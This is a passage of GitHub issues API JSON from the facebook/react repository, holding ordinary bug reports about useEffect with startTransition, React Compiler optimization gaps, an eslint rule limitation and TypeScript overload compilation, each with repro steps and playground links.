at div (<anonymous>)\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1363197)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1604868\n at va (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1380724)\n at div (<anonymous>)\n at div (<anonymous>)\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1383435)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1383632\n at div (<anonymous>)\n at div (<anonymous>)\n at div (<anonymous>)\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1383435)\n at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1394502)\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1461901)\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1453632)\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1275115)\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1303162)\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1440740)\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1612679)\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot read properties of undefined (reading 'length') in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34563/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34556", "id": 3442199371, "node_id": "I_kwDOAJy2Ks7NK8tL", "number": 34556, "title": "Bug: [React 19.1/19.2] useEffect does not run after changed dependencies due to startTransition", "user": { "login": "daniele-orlando", "id": 504386, "node_id": "MDQ6VXNlcjUwNDM4Ng==", "avatar_url": "https://avatars.githubusercontent.com/u/504386?v=4", "gravatar_id": "", "url": "https://api.github.com/users/daniele-orlando", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 16, "created_at": "2025-09-22T18:29:28Z", "updated_at": "2026-01-20T13:21:04Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 19.1.0/19.2.0\n\nuseEffect does not run after changed dependencies, due to startTransition.\n\n## Steps To Reproduce\n\n1. Open the [StackBlitz reproduction](https://stackblitz.com/edit/react-oc8htha1-yusxygge?file=src%2Fmain.hook.ts)\n2. open the terminal\n3. `npm install`\n4. `npm run start` or `npm run start:dev`\n5. Open the browser Developer Tools\n6. Select Console tab from the Developer Tools\n7. Load/reload the StackBlitz preview page\n8. Watch the Developer Tools console logs.\n\nLink to code reproductions:\n- [StackBlitz](https://stackblitz.com/edit/react-oc8htha1-yusxygge?file=src%2Fmain.hook.ts)\n\n## The current behavior\nFile `src/main.hooks.ts` contains an hook named `useData`. Inside this hook, the `useEffect` at line `53` should be executed 2 times because dependencies change 2 times (first with value `undefined` and second time with value `1`), but it is executed only once.\n\nFollowing Developer Tools Console screenshot shows the issue.\n<img width='\"722\"' height='\"218\"' alt='\"Image\"' src="%5C%22https://github.com/user-attachments/assets/5a0ef768-b147-4aef-b7fa-47970e5b81a9%5C%22">\n\n## The expected behavior\nThe `useEffect` at line `53` should be executed 2 times because dependencies change 2 times (first with value `undefined` and second time with value `1`).\n\nFollowing Developer Tools Console screenshot shows the correct behavior.\n<img width='\"722\"' height='\"218\"' alt='\"Image\"' src="%5C%22https://github.com/user-attachments/assets/2b931a29-d154-4f98-8620-329f94f26ac0%5C%22">\n\nCorrect behavior can be achieved with one of these two **workarounds**:\n- comment line `32` disabling the `setExample(ExampleInitialValue)`\n- de-comment line `38` enabling `setExample(ExampleInitialValue + 1)`\n\n## More Details\n\nIn this screenshot I show a brief explanation of the hook flow.\n\n<img width='\"1029\"' height='\"1301\"' alt='\"Image\"' src="%5C%22https://github.com/user-attachments/assets/2e7b0534-7130-4123-a28b-dd598ecbe40b%5C%22">", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34556/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34470", "id": 3407960898, "node_id": "I_kwDOAJy2Ks7LIVtC", "number": 34470, "title": "[Compiler Bug]: custom hooks that don't explicitly call other hooks are not optimized", "user": { "login": "SimpleCreations", "id": 12449725, "node_id": "MDQ6VXNlcjEyNDQ5NzI1", "avatar_url": "https://avatars.githubusercontent.com/u/12449725?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SimpleCreations", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2025-09-11T20:33:49Z", "updated_at": "2025-11-03T20:38:13Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABFMBAZThgQQwAkEBDAEwRhJggBtWAVGGrAS216YACiwDmZMGFwBeXAApgAHQy5cYUm1YBNADTLV6luwDyAM1OE8sgCIBRAGIBBAKoAZDgH0iAYQBKx11cPY3t7IlsOPRU1DXZrXhweRBlcOyc3Tx9-QI9rAEkiDkcAOW9bKIBfZFwlaMNNLQB+ascMXgBbGmwEOgA6Vo6unoA1GlYoBABufRijVjMLBGxm3AwodoAjRmm62NZ4xIxEFbXN7eUKgEoZAD4ambJsWBV69ibe3gxumAAHNiGFDNVJ8flBsL4eKIENUANqvebmSw6WaaBaWXAAahRcQS2CSCAAulFVKpoNhQeDIdDcDCAAzIgCMRKBuAQAA9sNw-qwhtUAORwHntH584m4K47Co7ZToLB4ACyAE9vBBhZgKFZ5NdpHdaqpZThsdoUgQEANOt06KNxgg5LTLjt9ZhDZyeGB+IIMCIIOIEJITYRmOQqLQGEw9lw3R7hGIJGA5PCtA7lA8ls9cAAec1DPrDXgIADuamwitYCGkwGAuAgPxocH4iuqrr4AhjPrj4oquAA9DcLiAdGhMKZeKIUCAOn8YHgSz8EDVcEJxqJPsYfq2sOLcKYWO1cHyNjQtqwALQ-ZefE9kOvYE-oYW8Mswbt0XF86UYQHRCgAN14LAwdoNWqPUSQoI8y18P0lm8OsAAsEGMDAiGgeAEHsR8EG8OCqTAapTDGQgZgqC41C6BIRz9RcaGnXgxgzJcoBXDA1w3MAbgdAdwDgiACzyL5GAwQiUAI1hCAqIA\n\n### Repro steps\n\nSee the repro link.\n\nOriginally, `useScreenHeaderScrollTransitionProgress`'s return value was wrapped in `useMemo`, which I removed after adopting React Compiler. However, the hook is now unoptimized — it returns an unstable reference.\n\n**Workaround 1**: add `\"use memo\"` at the top. This works, but looks weird because the compiler is enabled for the entire codebase.\n[Playground link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABFMBAZThgQQwAkEBDAEwRhJggBtWAVGGrAS216YACiwDmZMGFwBeXAApgAHQy5cYUm1YBNADTLV6luwDyAM1OE8sgCIBRAGIBBAKoAZDgH0iAYQBKx11cPY3t7IlsOPRU1DXZrXhweRBlcOyc3Tx9-QI9rAEkiDkcAOW9bKIBfZFwlaMNNLQB+ascMXgBbGmwEOgA6Vo6unoA1GlYoBABufRijVjMLBGxm3AwodoAjRmm62NZ4xIxEFbXN7ZmKgEoZAD4amcUQAgRcdoR2iEed1TJsWBV6uwmr1eBhujAAA5sIYKGaqUEQqDYXw8UQIaoAbUB83Mlh0s00C0suAA1AS4glsEkEABdKKqVTQbCI5Go9G4DEABnxAEY6XDcAgAB7YbhQ1hDaoAcjgEvaEKl9NwVx2FR2ynQWDwAFkAJ7eCDyzAUKzya7SO61VSanDk7QpZ4DTrdOijcYIOScy7fXA2vCinhgfiCDAiCDiBCSB2EZjkKi0BhMPZcQPB4RiCRgOTYrTe5QzX7-XAAHidQz6w14CAA7mpsLrWAhpMBgLgIBCaHB+LrqgG+AJ0+HM8qKrgAPQ3ZQVEA6NCYUy8UQoEAdKEwf26iEvVtCcaiUHGCEDrDK3CmFjtXBSjY0LasAC0EL3oPvZE72Hv6HlvEbMDHdEpKV1QwWFogoAA3XgWAwN4wWqK0GQoW9G18SMlm8TsAAsEGMDAiGgeAEHsH8EG8TC2TAapTDGQgLinNQugSBdI1wIQaHXXgxmLXcoH3DBD2PMAbm9GdwEwiBqzyMFGAwGiUGo1hCAqIA)\n\n**Workaround 2**: add a dummy \"hook\" call so that RC detects my custom hook as a \"real\" hook. This is, of course, not production-friendly.\n[Playground link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABFMBAESgFtSBPXAXlwAoBKGgPl2FwF8AdDH9LPAQQBlODAQIMACQQBDACYIYomBAA2agCoxZWAJbY9mAAqqA5uLBga9YD1y4wY9WoCaAGnuPnGgPIAzf0I8WiIAUQAxAEEAVQAZTQB9YQBhACVfOLjE3wiI4TDNTwwHJ1UNIj0cXUQbcOj4pNSMrMSiAElhTSiAORSw4o5kNi8yl1cAfmGojD1SWWwEeQA6GbmFpYA1WTUoBABuUZ81AKCEbCncDDIAIyVDku9ytUrqjERL69I7mAeHDiY1FYdkeQhI5AojD+uC84mwsBKYw0k2WegwixgAAd1Bs6CCHA40ZioNg0rozAhhgBtJEnQLBdxPFynYK4ADUTIqVWwNQQAF1igTcNBsMTSeTKbgqQAGRkARgFXgcCAAHtgdNi1BthgByOBa0iYnWCzgMB4cB58TA4XAAWQoKQghswkhC9EBwK8-BttNcNiEa3mi3k212CDo0rNXuteHVujABiMGFMEAsCCs-sIKgk0jkimUx208cTJnMljAdF9Ud4jzhCNwAB5AxsVps9AgAO6ObAUNQIajAdgQTGyOAGCjDOP6Qyl1PlzgcXAAemYPA4IHcaEw-j0ZhQIDm2JgsYomIQbFwxl2ZjRvkxM6wnFw-lUpFwOpusjuagAtJjr2iP7iKO2A-ughp6H2MBLvI3I6paGB4l4kgAG56KoGCkK6wz4gSkhfn2aTpucKSjgAFggvgYMI0DwAgESQQgKRkRKYDDP4OyEF43AYIuYALFUO7ppesjHnoOwNleUA3hgd4PmAzBmhu4BkRAHbtOiSgYJxKAcWohAcEAA)\n\n\n#### Possible solution?\n\nSince React Compiler already detects functions whose names start with `use` inside the render scope, perhaps it's best to optimize all such user-defined functions by default? To me this would make perfect sense.\n\nIt's easy to overlook the current behavior and accidentally end up breaking all optimizations done by the compiler with a single custom hook.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.3", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34470/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34469", "id": 3407920335, "node_id": "I_kwDOAJy2Ks7LILzP", "number": 34469, "title": "[Compiler Bug]: render functions are left unoptimized", "user": { "login": "SimpleCreations", "id": 12449725, "node_id": "MDQ6VXNlcjEyNDQ5NzI1", "avatar_url": "https://avatars.githubusercontent.com/u/12449725?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SimpleCreations", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-09-11T20:18:34Z", "updated_at": "2025-11-03T20:38:13Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACmFwoEYAaVgJlwF8AlLjoA+XMAA6GXLnRY8MGgBMEMUrRr0mQ0UykyZAHiIB1GAEMKFVSP0GjRAAqwEpStVptcS89nN1gdj5cAHpbaXtcY0JnRTcqDE1eHz8Aim5gsLsjENMLKxs7ASk7RWxYaWiAQQwIbAALVTNLaxgRYEUMFTVMbE1GAT5DXMIausaYZoK2qT4QDjRMADMASwBzFBAV9xg8bEJrcVxHABsoNZWMAHkKbBXMMH5cJZhyXAByACNzT4QTgFoKGcLhh-opzHBsP90JQVidVCElCscO8ANwlDDMOw0ABuK1eGDImmQ4myuBoP3hACUEGAENhiBDGlcMABlaDwBAAMThrnq5gwa1pJKW5hOdLsfFmuDAvmRq1px3MuxWYsMp3OlxudweIgEqPm4HqEAA7gBJDQwDBisAoUXihB8IA\n\n### Repro steps\n\n#### Example 1\n\nLet's first see this example **without** a render function:\n[Playground link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACmFwoEYAaVgJlwF8AlLjoA+XMAA6GXLnRY8c7DXpMpMmQB4iAdRgBDChQQwRa9ZqIAFWAlKVqtNrgAme7HrrB2fXAHpT0ua4WoTWMLbkVBjKvK7unhTcPv5mmr46+obGATICUmbh2LDSIQCCGBDYABbGugZGJsCKynwa6YTllTUwdVkmUnwgHGiYAGYAlgDmKCDj9jB42IRG4riWADZQk+MYAPIU2OOYYPy4ozDkuADkAEZ6NwjrALQUm9sYT+F6cNhP6JTjdbGXzOcY4K4AbnyGGYZhoADdxhcMGRlMhxKlcDR7kCAEoIMAIbDEb41XYYADK0HgCAAYoDbFU9BhJgT0aM9OtCWY+ANcGA3GCJgS1noFuNORoNlsdvtDscRAIIUNwFUIAB3ACStGMGE5YBQHK5CD4QA)\n\nThis produces expected output — we see that when `p1` prop changes, only `PureComponent1` will be re-rendered.\n\nNow let's replace `content` with `renderContent`:\n[Playground link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACmFwoEYAaVgJlwF8AlLjoA+XMAA6GXLnRY8MGgBMEMUrRr0mQ0UykyZAHiIB1GAEMKFVSP0GjRAAqwEpStVptcS89nN1gdj5cAHpbaXtcY0JnRTcqDE1eHz8Aim5gsLsjENMLKxs7ASk7RWxYaWiAQQwIbAALVTNLaxgRYEUMFTVMbE1GAT5DXMIausaYZoK2qT4QDjRMADMASwBzFBAV9xg8bEJrcVxHABsoNZWMAHkKbBXMMH5cJZhyXAByACNzT4QTgFoKGcLhh-opzHBsP90JQVidVCElCscO8ANwlDDMOw0ABuK1eGDImmQ4myuBoP3hACUEGAENhiBDGlcMABlaDwBAAMThrnq5gwa1pJKW5hOdLsfFmuDAvmRq1px3MuxWYsMp3OlxudweIgEqPm4HqEAA7gBJDQwDBisAoUXihB8IA)\n\nThe semantics are the same, but the optimization is gone — now when `p1` prop changes, both `PureComponent1` and `PureComponent2` are re-rendered.\n\n#### Example 2\n\nThis is a more realistic example because it highlights a common usage pattern with React Native's virtualized lists.\n[Playground link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACgEpc6A+XYAHQ113RY8wXAHcAlgBNsAC2RjxGSRFEB1KbNwBfNrihgE6pSoAi4sjTDjMYFr179BOXDBqSEMAJLYEZXYxFxHz8tVg4mB35cAB4iABlxHG9fSKjcHEIAGwQ6YBEJaTlcAAYAOgAOXAAqBWM1DRltLVSooN9ctrJmviiAenZI5nse12xYPkYW6IAxTIBDbATnSQW53IBtAF0dVyUPZLJc3fcvYJ1+wd4tEAAaNEwAM3EAcxQQcyoYPGxCCgQuXAABUyUGeigA8hRsNYsNpcA8YORcAByABGc1RCEyAFoKCCwRhsa45nBsNj0JRxNkYL1JIlsMiANzDAKRGgAN3EiIwFlo8h4PX4NAx2QASggDNhiCSZAhwRgAMrQeAIaZUhDEGRzDDPCXyB5zTIGSLdHRgBaJJ4SoFzL7iQ3RYGgiFQmFgdjMRm3cAyFSeWgeDCGsAoA1GhBaIA)\n\nHere, because of an unstable reference in the `style` prop, all list items will always re-render, and this will also **break optimizations inside** `MyListItem` because it will rely on passed props having stable references.\n\nHere's a workaround declaring the unstable reference in the outer scope, so it gets memoized, but this is easy to overlook (also not caught by the linter).\n[Playground link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACgEpc6A+XYAHQ113RY8wXAHcAlgBNsAC2RjxGSRFEB1KbNwBfNrihgE6pSoAi4sjTDjMYFr179BOXOOwIyAZWyEANgl0iEtJyuAAMAHQAHLgAVArGahoy2g4CNngwNJIIMACSbmS6jCKu7tqsHEyp-AA8RAAy4jj57tX8uDi+CHTApZ7eflpt-H09fUN87QD07KnM9pOZ2LB8jG01AGI+AIbYjc6Su9s9ANoAujqZSjktZD1X2XkFOjNzvFogADRomABm4gBzFAgcxUGB4bwUfwiAAKPigAMUAHkKNhrFhtLhfjByLgAOQAI22BIQPgAtBR4YiMGTMts4NgyehKOI-DAppImtg8QBuBbFVI0ABu4hxGAstHkPEm-BoxL8ACUEAZsMR6TIEEiMB5oPAEBtWQhiDJthgAcr5L9tj4DKkJjowLsmv9lbgYdtweJrTU4Qjkaj0WB2MweV9wDIVLlaDkMNawCgrTaEFogA)\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.3", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34469/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34413", "id": 3391397873, "node_id": "I_kwDOAJy2Ks7KJJ_x", "number": 34413, "title": "[Compiler Bug]: react-hooks/immutability eslint rule doesn't support setting functional refs from child components", "user": { "login": "alex-e-leon", "id": 7065873, "node_id": "MDQ6VXNlcjcwNjU4NzM=", "avatar_url": "https://avatars.githubusercontent.com/u/7065873?v=4", "gravatar_id": "", "url": "https://api.github.com/users/alex-e-leon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-09-07T09:15:09Z", "updated_at": "2025-11-03T20:38:12Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwGEALJywgCmD4muBAFsANPhikw+AL4BKfMAA6bKQlyw2AHjCYybaSQC8wPgkpKTAPmUaSYAHRxY0urgDawsQF18JviWANzycjYAEpaUEMo+onI6APT6hjZqcmpqGNh4RKQU1Pi0DMys+ACyAJ4AgpiYfEqq6nCsYATGsoEASghkjE5QYAi9JAKKwVnq0lowbHxq+Ev4OoRMAG7p6svKngCMkgBMkgDMvk6iZA3xAXY6XDyE+ADWCFVm8XJCIqIfP1+dMydL5JGwKTLbFZJNabRb4BSTOgQkDiECtOgkJgAcxQIBAciAA\n\n### Repro steps\n\n1. See playground for a simple example.\n\nIt is possible to work around this by wrapping the functional ref in its own function in the parent component, and then passing that function to the child instead (for example see [this example](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwGEALJywgCmBNcCALYAafGAS4ASqQC+ASnzAAOm3wxpsNgB4wmMmy0kAvMCmyFAPgASCSpQgqho+boD0Bo9fXz16hjYeESkFNT4tAzMrPgAsgCeAIKYmHzKahpwrGAEJmD4pvhyZIwAdFBSciQCSgDc6vj42XS5ktLVhfh8riLKptbdDv2DwJqkYGVwsFp0uADavQC6XQ51+P50jeO4Ot3bTbqETABuvhpNTcDzAIxiAExiAMxLZSJkab2Fg7pcPIT4ADWCAS5l68nwvTBwhEEMs1XM8NIPRhighHmsaIO+E8xzO20UDTomxAYhALRITAA5igQCB5EA)) - but I feel like that's introducing unnecessary layers of indirection. \n\nIMO it would be nice if the eslint rule worked out of the box for this pattern\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.1\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.3", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34413/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34378", "id": 3382472402, "node_id": "I_kwDOAJy2Ks7JnG7S", "number": 34378, "title": "[Compiler Bug]: TypeScript function overloads cause an exported function from a hook to be `undefined`", "user": { "login": "yannickm95", "id": 27205182, "node_id": "MDQ6VXNlcjI3MjA1MTgy", "avatar_url": "https://avatars.githubusercontent.com/u/27205182?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yannickm95", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-09-04T07:14:00Z", "updated_at": "2025-11-03T20:38:12Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHYEsC2AHCGAFwAJgSowEBJDIgGxIF8SAzGCHEtEAPwHosdejwDcmTP34kAKgE88CMHBhY8pAO5YiACzZQMcIlggYSEAG4IY9CAEMAJkIDmmBAA8CxfYeOmKVDIwdhhg9HZECA4ASkrQ8AgA8lY29g4APEEhYREmoSQekRgOYCSxcIQZYESqGM4ANCQAskpgds4IACJKKmpEhAB8AwAUmCQkNdnhfqHIssGh03lg9ZgAlGRjJBWhpOSshDgRLWBtHcwkALwBNMLDa+IYW6wGRnlshxEAanb0UAjDADWCDkc2BcggrHmU1ypjAazm1Vqzke4xevneBxgRyIPz+APBYJBkOhi1h+QAPiQMFB6IwqQYHAhWEIogiSEiXCQqTS6aifG9-FicXj-kCQUSIVCsmSZqUebT6RRiszWQ4NsAtuMsFDhgBCcEbGAIIiwMy8+j87W6vWTWXLADa4IAukaTWaSODHlqSMbTTAzMLjq12gC7Tk5U6Qa7+UwJGZtnDSBB1MsriREgAjABWCCMADoEHRVEphuGlnC1vmjnh0olU6YZCNhlG5I0cCGOq6rgMSMNNQnxhZfv9JatByRwpmEPQ5kGiCczgCO6dQ2tx+MmGsHvHxn6PftPriRwhGim5cxHnGnhgpLIFD1VOoSFpdNBSOjBWZLNZbI4XG4niEB+rwzDcMoRlEsSQLAiAAHIQMkv5pJkCwRmmhRFiUZR5pU6ScnUjSLqG3TKE+-QwEMowJuW5JgHMEEVqE44alsOzVGQHzYsGq7nCw1yULcDD3N6CafmB86igSEqesS0poUx8rUoq3LKkyLIYGymwTjqfYGiCbr+uaipWiQun6rRkYuoZHperu4y+u6AZcTixEdGWCl0a2MZbNebFJuYDb5NcWa5gWRY1FgpaWcsVY1iQ6QZkFMgkL2wwtuC7adgg3aXGlA4OSQw74mOPpTjOc5Hm5y7ZeuvnbqJe5OWYh7cce+JnkFpRMFemAgPUIA7CyzgoCAIBMEAA\n\n### Repro steps\n\nThis only occurs when using `babel-plugin-react-compiler` version `19.1.0-rc.3`, when using version `19.1.0-rc.2` it works.\n\nWhen you define a function inside a component that has some TS function overloads when you export that function it is `undefined` in the compiled code. i.e.\n\n```tsx\n// Hook\nexport function useTranslatedResourceOverload<translations extends record messagedescriptor>>(\n translations: Translations,\n) {\n const { formatMessage } = useIntl();\n\n function formatValue(key: keyof Translations): string;\n function formatValue(key: keyof Translations | null | undefined): string | null;\n function formatValue(key: keyof Translations | null | undefined) {\n if (!key) return null;\n if (!translations[key]) return key;\n\n return formatMessage(translations[key]);\n }\n\n return { formatValue };\n}\n\n// Usage\nconst { formatValue } = useTranslatedResource(premiumTranslations)\n\n// `formatValue` is now `undefined` here, so it cannot be called.\nconst premium = formatValue('none')\n```\n\nIf you check the playground, the difference is that without the overloads, `formatValue` is assigned to `t0`, while with the function overloads, it never gets assigned to a `tX` variable.\n\nI hope the info provided is enough.\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you 